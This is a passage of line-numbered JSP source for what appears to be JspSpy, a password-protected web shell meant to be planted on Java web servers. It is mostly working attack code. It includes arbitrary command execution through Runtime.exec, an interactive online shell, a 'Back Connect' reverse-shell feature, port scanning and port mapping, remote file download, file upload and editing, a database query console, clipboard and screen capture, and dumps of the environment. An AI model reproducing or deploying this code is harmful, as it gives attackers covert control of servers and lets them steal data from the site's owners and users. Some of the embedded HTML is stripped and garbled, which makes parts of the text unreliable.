"); 174 | str = str.replace("\n","
"); 175 | out.write(str.toCharArray(), 0, str.length()); 176 | out.flush(); 177 | } 178 | } else { 179 | //from client to exe 180 | while(true) { 181 | while(this.ol.getCmd() == null) { 182 | Thread.sleep(500); 183 | } 184 | if (this.ol.getCmd().equals("first")) { 185 | this.ol.setCmd(null); 186 | continue; 187 | } 188 | this.ol.setCmd(this.ol.getCmd() + (char)10); 189 | char[] arr = this.ol.getCmd().toCharArray(); 190 | out.write(arr,0,arr.length); 191 | out.flush(); 192 | this.ol.setCmd(null); 193 | } 194 | } 195 | } catch(Exception e){ 196 | } 197 | try{ 198 | if(in != null) 199 | in.close(); 200 | if(out != null) 201 | out.close(); 202 | } catch( Exception e ){ 203 | } 204 | } 205 | } 206 | private static class Table{ 207 | private ArrayList
| "); 226 | String vv = Util.htmlEncode(Util.getStr(c.getValue())); 227 | if (vv.equals("")) 228 | vv = " "; 229 | html.append(vv); 230 | html.append(" | "); 231 | } 232 | html.append("
" + msg; 335 | out.write("
"+msg+"
");
336 | }
337 | }
338 | private static class UploadBean {
339 | private String fileName = null;
340 | private String suffix = null;
341 | private String savePath = "";
342 | private ServletInputStream sis = null;
343 | private byte[] b = new byte[1024];
344 | public UploadBean() {
345 | }
346 | public void setSavePath(String path) {
347 | this.savePath = path;
348 | }
349 | public void parseRequest(HttpServletRequest request) throws IOException {
350 | sis = request.getInputStream();
351 | int a = 0;
352 | int k = 0;
353 | String s = "";
354 | while ((a = sis.readLine(b,0,b.length))!= -1) {
355 | s = new String(b, 0, a,PAGE_CHARSET);
356 | if ((k = s.indexOf("filename=\""))!= -1) {
357 | s = s.substring(k + 10);
358 | k = s.indexOf("\"");
359 | s = s.substring(0, k);
360 | File tF = new File(s);
361 | if (tF.isAbsolute()) {
362 | fileName = tF.getName();
363 | } else {
364 | fileName = s;
365 | }
366 | k = s.lastIndexOf(".");
367 | suffix = s.substring(k + 1);
368 | upload();
369 | }
370 | }
371 | }
372 | private void upload() {
373 | try {
374 | FileOutputStream out = new FileOutputStream(new File(savePath,fileName));
375 | int a = 0;
376 | int k = 0;
377 | String s = "";
378 | while ((a = sis.readLine(b,0,b.length))!=-1) {
379 | s = new String(b, 0, a);
380 | if ((k = s.indexOf("Content-Type:"))!=-1) {
381 | break;
382 | }
383 | }
384 | sis.readLine(b,0,b.length);
385 | while ((a = sis.readLine(b,0,b.length)) != -1) {
386 | s = new String(b, 0, a);
387 | if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) {
388 | break;
389 | }
390 | out.write(b, 0, a);
391 | }
392 | out.close();
393 | } catch (IOException ioe) {
394 | ioe.printStackTrace();
395 | }
396 | }
397 | }
398 | %>
399 | <%
400 | SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1);
401 | String myAbsolutePath = application.getRealPath(request.getServletPath());
402 | if (Util.isEmpty(myAbsolutePath)) {//for weblogic
403 | SHELL_NAME = request.getServletPath();
404 | myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString();
405 | SHELL_NAME=request.getContextPath()+SHELL_NAME;
406 | WEB_ROOT = new File(application.getResource("/").getPath()).toString();
407 | } else {
408 | WEB_ROOT = application.getRealPath("/");
409 | }
410 | SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator)));
411 | if (session.getAttribute(CURRENT_DIR) == null)
412 | session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR));
413 | request = new MyRequest(request);
414 | if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) {
415 | String o = request.getParameter("o");
416 | if (o != null && o.equals("login")) {
417 | ins.get("login").invoke(request,response,session);
418 | return;
419 | } else if (o != null && o.equals("vLogin")) {
420 | ins.get("vLogin").invoke(request,response,session);
421 | return;
422 | } else {
423 | response.sendRedirect(SHELL_NAME+"?o=vLogin");
424 | return;
425 | }
426 | }
427 | %>
428 | <%!
429 | private static interface Invoker {
430 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception;
431 | public boolean doBefore();
432 | public boolean doAfter();
433 | }
434 | private static class DefaultInvoker implements Invoker{
435 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
436 | }
437 | public boolean doBefore(){
438 | return true;
439 | }
440 | public boolean doAfter() {
441 | return true;
442 | }
443 | }
444 | private static class ScriptInvoker extends DefaultInvoker{
445 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
446 | try {
447 | PrintWriter out = response.getWriter();
448 | out.println("");
545 |
546 | } catch (Exception e) {
547 | e.printStackTrace();
548 | throw e ;
549 | }
550 | }
551 | }
552 | private static class BeforeInvoker extends DefaultInvoker {
553 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
554 | try {
555 | PrintWriter out = response.getWriter();
556 | out.println(""+
620 | " System Clipboard »"+ 621 | "");
622 | try{
623 | out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor))));
624 | }catch (Exception ex) {
625 | out.println("ClipBoard is Empty Or Is Not Text Data !");
626 | }
627 | out.println(""+
628 | " "+
629 | " "+
630 | " | "+
631 | "
"+
669 | " Remote Control »"+ 670 | " Speed(Second , dont be so fast) Can Not Control Yet."+ 671 | " | "+
673 | "
"+
712 | "PortScan >>"+ 713 | ""+ 718 | " |
");
753 | Set> entrySet = rs.entrySet();
754 | for (Map.Entry e:entrySet) {
755 | String port = e.getKey();
756 | String value = e.getValue();
757 | out.println(ip+" : "+port+" ................................. "+value+"
"); 758 | } 759 | out.println("
");
760 | } catch (Exception e) {
761 | e.printStackTrace();
762 | throw e ;
763 | }
764 | }
765 | }
766 | private static class VConnInvoker extends DefaultInvoker {
767 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
768 | try {
769 | PrintWriter out = response.getWriter();
770 | Object obj = JSession.getAttribute(DBO);
771 | if (obj == null || !((DBOperator)obj).isValid()) {
772 | out.println(" ");
781 | out.println(""); 758 | } 759 | out.println("
| "+ 782 | " |
| "+ 863 | ""); 887 | out.println(" |
Query#0 : "+Util.htmlEncode(sql)+"
"); 913 | out.println("| "+meta.getColumnName(i)+" "+meta.getColumnTypeName(i)+" | ");
916 | }
917 | out.println("
affected rows : "+obj+"
");
1022 | String cr = null;
1023 | try {
1024 | cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3);
1025 | }catch(Exception e) {
1026 | cr = "/";
1027 | }
1028 | File currentRoot = new File(cr);
1029 | out.println(""+
1040 | ""+
1056 | "
");
1112 | out.println("
");
1113 | } catch (Exception e) {
1114 | e.printStackTrace();
1115 | throw e;
1116 | }
1117 | }
1118 | }
1119 | private static class LogoutInvoker extends DefaultInvoker {
1120 | public boolean doBefore() {return false;}
1121 | public boolean doAfter() {return false;}
1122 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1123 | try {
1124 | Object dbo = JSession.getAttribute(DBO);
1125 | if (dbo != null)
1126 | ((DBOperator)dbo).close();
1127 | Object obj = JSession.getAttribute(PORT_MAP);
1128 | if (obj != null) {
1129 | ServerSocket s = (ServerSocket)obj;
1130 | s.close();
1131 | }
1132 | Object online = JSession.getAttribute(SHELL_ONLINE);
1133 | if (online != null)
1134 | ((OnLineProcess)online).stop();
1135 | JSession.invalidate();
1136 | response.sendRedirect(SHELL_NAME+"?o=vLogin");
1137 | } catch (Exception e) {
1138 | e.printStackTrace();
1139 | throw e ;
1140 | }
1141 | }
1142 | }
1143 | private static class UploadInvoker extends DefaultInvoker {
1144 | public boolean doBefore() {return false;}
1145 | public boolean doAfter() {return false;}
1146 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1147 | try {
1148 | UploadBean fileBean = new UploadBean();
1149 | response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString());
1150 | fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString());
1151 | fileBean.parseRequest(request);
1152 | JSession.setAttribute(MSG,"Upload File Success!");
1153 | response.sendRedirect(SHELL_NAME+"?o=index");
1154 | } catch (Exception e) {
1155 | e.printStackTrace();
1156 | throw e ;
1157 | }
1158 | }
1159 | }
1160 | private static class CopyInvoker extends DefaultInvoker {
1161 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1162 | try {
1163 | String src = request.getParameter("src");
1164 | String to = request.getParameter("to");
1165 | BufferedInputStream input = new BufferedInputStream(new FileInputStream(new File(src)));
1166 | BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to)));
1167 | byte[] d = new byte[1024];
1168 | int len = input.read(d);
1169 | while(len != -1) {
1170 | output.write(d,0,len);
1171 | len = input.read(d);
1172 | }
1173 | output.close();
1174 | input.close();
1175 | JSession.setAttribute(MSG,"Copy File Success!");
1176 | response.sendRedirect(SHELL_NAME+"?o=index");
1177 | } catch (Exception e) {
1178 | e.printStackTrace();
1179 | throw e ;
1180 | }
1181 | }
1182 | }
1183 | private static class BottomInvoker extends DefaultInvoker {
1184 | public boolean doBefore() {return false;}
1185 | public boolean doAfter() {return false;}
1186 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1187 | try {
1188 | response.getWriter().println("File Manager - Current disk ""+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"" total "+Util.getSize(currentRoot.getTotalSpace(),'G')+"
"); 1030 | out.println(""); 1039 | out.println("| "+ 1057 | " | Name | "+ 1058 | "Last Modified | "+ 1059 | "Size | "+ 1060 | "Read/Write/Execute | "+ 1061 | ""+ 1062 | " |
| = | "+ 1066 | "Goto Parent | "+ 1067 | "||||
| 0 | "+ 1076 | ""+f.getName()+" | "+ 1077 | ""+Util.formatDate(f.lastModified())+" | "+ 1078 | "-- | "+ 1079 | ""+f.canRead()+" / "+f.canWrite()+" / "+f.canExecute()+" | "+ 1080 | "Del | Move | Pack | "+ 1081 | "
| "+ 1086 | " | "+f.getName()+" | "+ 1087 | ""+Util.formatDate(f.lastModified())+" | "+ 1088 | ""+Util.getSize(f.length(),'B')+" | "+ 1089 | ""+ 1090 | ""+f.canRead()+" / "+f.canWrite()+" / "+f.canExecute()+" | "+ 1091 | ""+ 1092 | "Edit | "+ 1093 | "Down | "+ 1094 | "Copy | "+ 1095 | "Move | "+ 1096 | "Property"); 1097 | if (f.getName().endsWith(".zip")) { 1098 | out.println(" | UnPack"); 1099 | } else if (f.getName().endsWith(".rar")) { 1100 | out.println(" | UnPack"); 1101 | } else { 1102 | out.println(" | Pack"); 1103 | } 1104 | out.println(" | "+ 1105 | "
| "+ 1109 | " | Pack Selected - Delete Selected | "+ 1110 | ""+dircount+" directories / "+filecount+" files |
Copyright (C) 2009 http://www.Forjj.com/ [T00ls.Net] All Rights Reserved."+
1189 | "
");
1190 | } catch (Exception e) {
1191 | e.printStackTrace();
1192 | throw e ;
1193 | }
1194 | }
1195 | }
1196 | private static class VCreateFileInvoker extends DefaultInvoker {
1197 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1198 | try {
1199 | PrintWriter out = response.getWriter();
1200 | String path = request.getParameter("filepath");
1201 | File f = new File(path);
1202 | if (!f.isAbsolute()) {
1203 | String oldPath = path;
1204 | path = JSession.getAttribute(CURRENT_DIR).toString();
1205 | if (!path.endsWith("/"))
1206 | path+="/";
1207 | path+=oldPath;
1208 | f = new File(path);
1209 | f.createNewFile();
1210 | } else {
1211 | f.createNewFile();
1212 | }
1213 | out.println("| "+ 1214 | ""+ 1221 | " |
| "+ 1244 | ""+ 1251 | " |
| "+ 1294 | ""+ 1322 | " |
| "+ 1395 | ""+ 1404 | ""+ 1413 | " | "+ 1414 | "
"); 1429 | out.println("
");
1430 | String command = request.getParameter("command");
1431 | if (!Util.isEmpty(command)) {
1432 | Process pro = Runtime.getRuntime().exec(command);
1433 | BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
1434 | String s = reader.readLine();
1435 | while (s != null) {
1436 | out.println(Util.htmlEncode(Util.getStr(s)));
1437 | s = reader.readLine();
1438 | }
1439 | reader.close();
1440 | out.println("| "+ 1501 | " |
System Properties >>"+ 2070 | ""+
2071 | " "+ 2072 | "
System Environment >>
| "+
2086 | "
| JspSpy Ver: 2009"+request.getHeader("host")+" ("+InetAddress.getLocalHost().getHostAddress()+") | "+ 2102 | "
| Logout | "+ 2105 | " File Manager | "+ 2106 | " DataBase Manager | "+ 2107 | " Execute Command | "+ 2108 | " Shell OnLine | "+ 2109 | " Back Connect | "+ 2110 | " Port Scan | "+ 2111 | " Download Remote File | "+ 2112 | " ClipBoard | "+ 2113 | " Remote Control | "+ 2114 | " Port Map | "+ 2115 | " JSP Env "+ 2116 | " |
");
2161 | out.println("Shell OnLine »"); 2162 | out.println(""+ 2167 | " "+ 2168 | " "+ 2170 | " "+ 2197 | " " 2198 | ); 2199 | out.println(" | "+
2200 | "
"),"left"); 2333 | bout.close(); 2334 | out.flush(); 2335 | ins.get("bottom").invoke(request,response,session); 2336 | ins.get("after").invoke(request,response,session); 2337 | } 2338 | %> 2339 | --------------------------------------------------------------------------------